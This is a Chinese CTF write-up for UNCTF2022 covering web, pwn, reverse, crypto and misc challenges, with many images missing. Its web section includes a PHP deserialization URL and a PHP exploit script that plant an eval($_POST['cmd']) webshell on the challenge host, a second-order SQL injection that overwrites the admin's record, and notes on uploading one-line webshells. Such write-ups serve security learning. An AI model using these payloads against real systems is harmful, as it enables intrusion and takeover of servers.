UNCTF2022 部分wp(web全)

这次unctf期间有点忙,没什么时间做,可能中间有部分错误,望师傅们指正

Web

1.我太喜欢bilibili大学啦–中北大学

在这里插入图片描述直接搜索flag
在这里插入图片描述

2. ezgame-浙江师范大学

在这里插入图片描述

查看源代码会发现这边可疑的字符串
改为
this.isDead = this.rStats.life >= 10,
在这里插入图片描述

3.签到

在这里插入图片描述
查看源代码会发现给了你一些信息
用给你的学号密码登录

在这里插入图片描述
在这里插入图片描述
发现没什么东西,但是改为2后会发现,回显了 f在这里插入图片描述

那么接下来就是爆破在这里插入图片描述
之后拼接得到flag

4. babyphp-中国人民公安大学

刚打开是这样的界面
在这里插入图片描述
扫描目录后得到对方存在index.php以及index.html两个页面在这里插入图片描述
在这里插入图片描述
a=‘0’&key1=aaroZmOk&key2=aaK1STfY
?code=eval($_POST[“123”]);
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4 easy_upload-云南警官学院

简单传php一句话木马,然后用burp改下文件格式 content-type

之后蚁剑连接在这里插入图片描述在这里插入图片描述

在这里插入图片描述

5 给你一刀-西南科技大学

打开一看thinkphp,,,,怎么说,这不就直接用工具在这里插入图片描述
在这里插入图片描述

过于简单,懒得加话了

我太喜欢bilibili大学啦修复版-中北大学

找hint在这里插入图片描述
解码
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
解码登录
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

302与深大-深圳大学

重定向的在这里插入图片描述在这里插入图片描述
在这里插入图片描述

然后拼起来

easy ssti-金陵科技学院

在这里插入图片描述

存在ssti注入在这里插入图片描述

听说php有一个xxe-西南科技大学

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

ezunseri-西华大学

经过测试绕过

在这里插入图片描述
传一句话木马,连蚁剑

http://e345285b-a622-4c06-970c-800a5562d7a0.node.yuzhian.com.cn//?pop=O:5:"Login":3:{s:11:" Login name";N;s:3:"key";O:4:"Exec":2:{s:7:"content";O:4:"Test":1:{s:4:"test";O:4:"Exec":2:{s:7:"content";s:20:"eval($_POST["cmd"]);";}}}s:4:"code";s:9:"3.1415926"

在这里插入图片描述
在这里插入图片描述

poppop-中国人民公安大学

在这里插入图片描述

<?php
class A{
public $code;
function __construct($g)
{
    $this->code=$g;
}
}

class B{
public $key;
    function __construct($g)
    {
        $this->key=$g;
    }
}
class C{
private $key2;
    function __construct($g)
    {
        $this->key2=$g;
    }
}

$shell='eval($_POST["cmd"]);';
$a=new A($shell);
$c=new C($a);
$b=new B($c);

$s=serialize($b);
$s=str_replace('"A":1','"A":2',$s);

if(file_get_contents("php://input")){
    $post="poc=".$s.file_get_contents("php://input");//'cmd'=>$_POST['hack']
    $con=postdata('http://2b39350e-f18c-426a-8cea-1cf13b28b9fd.node.yuzhian.com.cn/index.php',$post);
    print_r($con);
}//$_POST['hack'
function postdata($url,$data){

    $curl = curl_init(); //初始化

    curl_setopt($curl,CURLOPT_URL,$url); //设置url

    curl_setopt($curl,CURLOPT_HTTPAUTH,CURLAUTH_BASIC); //设置http验证方法

    curl_setopt($curl,CURLOPT_HEADER,0); //设置头信息

    curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); //设置curl_exec获取的信息的返回方式

    curl_setopt($curl,CURLOPT_POST,1); //设置发送方式为post请求

    curl_setopt($curl,CURLOPT_POSTFIELDS,$data); //设置post的数据

    $result = curl_exec($curl);

    if($result === false){

        echo 'Request False!';

        echo curl_errno($curl);

        exit();
    }

    curl_close($curl);

    return $result;

}

在这里插入图片描述

babynode-云南大学

在这里插入图片描述

easy_rce-西南科技大学

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

随便注-云南警官学院

反正这个注入题是真的把我整麻了,找到半夜三点
在这里插入图片描述
最后才发现 env

在这里插入图片描述

ez2048-中南大学

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

text= [119,51,108,99,48,109,101,95,55,111,95,117,110,99,116,102,50,48,50,50,33,33,33,33]
ascii_values = []
for i in text:
    print(chr(i))
    # ascii_values.append(chr(i))
print(ascii_values)

w3lc0me_7o_unctf2022!!!
在这里插入图片描述

世界和平-西南科技大学

在这里插入图片描述
抓包发现对方是通关POST传参,存在注入,但是又会过滤掉flag,select from这样的字符串,那就双写

在这里插入图片描述

Sqlsql-中国人民公安大学

下载源码之后本地搭建环境,之后进行代码审计
发现存在二次注入的地方

1','1','1','1','1','1');UPDATE users SET studentid = '1234' WHERE username = 'admin' -- s 


在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

快乐三消-河南理工大学

在这里插入图片描述

一开始以为玩游戏后就有flag
结果啥也没有,后来扫目录

在这里插入图片描述
之后尝试弱密码登录,运气不错
admin
unctf
在这里插入图片描述
可以路径穿越,之后任意文件读取在这里插入图片描述

Pwn

welcomeUNCTF2022-云南警官学院

在这里插入图片描述
在这里插入图片描述

int 0x80-中国计量大学现代科技学院

ida打开分析
在这里插入图片描述

之后从网上找shellcode 运行输入就行

Reverse

whereisyourkey-广东海洋大学

在这里插入图片描述

写个逆向算法

v5=[1,2,3,4,4,5,1,4,7,5,6]
v5[0] = 118
v5[1] = 103
v5[2] = 112
v5[3] = 107
v5[4] = 99
v5[5] = 109
v5[6] = 104
v5[7] = 110
v5[8] = 99
v5[9] = 105

for i in v5:
    if i == 109:
        print(chr(i))
        continue
    if i <= 111:
        if i <= 110:
            i -= 2
    else:
        i += 3
        
    print(chr(i))

Crypto

md5-1-西南科技大学

# 由于MD5模块在python3中被移除
# 在python3中使用hashlib模块进行md5操作

import hashlib
import string
# 待加密信息
str = string.printable
print(str)
# 创建md5对象
hl = hashlib.md5()
di={}
flag=''
# Tips
# 此处必须声明encode
# 若写法为hl.update(str)  报错为: Unicode-objects must be encoded before hashing
hl.update(str.encode(encoding='utf-8'))
for i in str:
    # print('MD5加密前为 :' + i)
    di[i]=hashlib.md5(i.encode()).hexdigest()
    # print('MD5加密后为 :' + hashlib.md5(i.encode()).hexdigest())
# print(di)
with open("out.txt")as f:
    F=f.readlines()
    for line in F:
        for k,v in di.items():
            if v==line[:-1]:
                flag+=k
                print(k)
print(flag)

在这里插入图片描述

dddd-西南科技大学

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

caesar-西南科技大学

我把表换成了base64的表

B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}

在这里插入图片描述

base64= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
x="B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}"
flag=''
j=ord('U')-ord('B')
for i in x:
    if i not in base64:
        flag+=i
    else:
        print(base64.index(i)+j)
        flag+=base64[(base64.index(i)+j)%64]
print(flag)

ezRSA

在这里插入图片描述

Single table-西南科技大学

我选择手算
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Multi table-西南科技大学

from string import ascii_uppercase
from random import randint,shuffle
from binascii import b2a_hex,a2b_hex

#flag="UNCTF{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}"
def jiami(flag):
    base_table=['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
    # shuffle(base_table)
    #print(base_table)

    table={}
    for i in range(26):
        table[i]=ascii_uppercase[i:]+ascii_uppercase[:i]
    #print(table)
    key=[9,15,23,16]
    # for i in range(4):
    #     key.append(randint(0,25))
    # print(key)
    c=''
    x=0
    for i in range(len(flag)):
        if flag[i] in ascii_uppercase:
            c+=table[key[x%4]][base_table.index(flag[i])]
            x+=1
        else:
            c+=flag[i]
    return c


#[9,15,23,16]
# ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
cr = 'SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}'
fla= "UNCTF{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}"
list=[]
for k in fla:
    list.append(k)
print(list)
for j in range(len(fla)):
    for i in range(0,255):
        list[j]=chr(i)
        fla=''.join(list)
        c=jiami(fla)
        if c[j]==cr[j]:
            break
print(fla)

先拿key,再爆破

超级加倍-闽南师范大学

开四次
在这里插入图片描述

Misc

找得到我吗-闽南师范大学

将docx文件当作压缩包打开解压

在这里插入图片描述
在这里插入图片描述

syslog-浙江师范大学

解压后在文件里搜索password
在这里插入图片描述解码后,直接解密压缩包
在这里插入图片描述

剥茧抽丝-内蒙古警察职业学院

在这里插入图片描述
得到解压密码,解压后明文攻击
线索就在眼前‬,你能利用并找到flag吗
在这里插入图片描述
明文攻击成功后,得到里面的文件

在这里插入图片描述解密后发现还有一个压缩包
往回看发现存在0宽度隐写
在这里插入图片描述
在这里插入图片描述
之后解压后得到flag
在这里插入图片描述

数独大挑战-闽南师范大学

爆破密码在这里插入图片描述

然后在线网站做数独
之后将每行看作一个数,做异或操作
DES解密

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值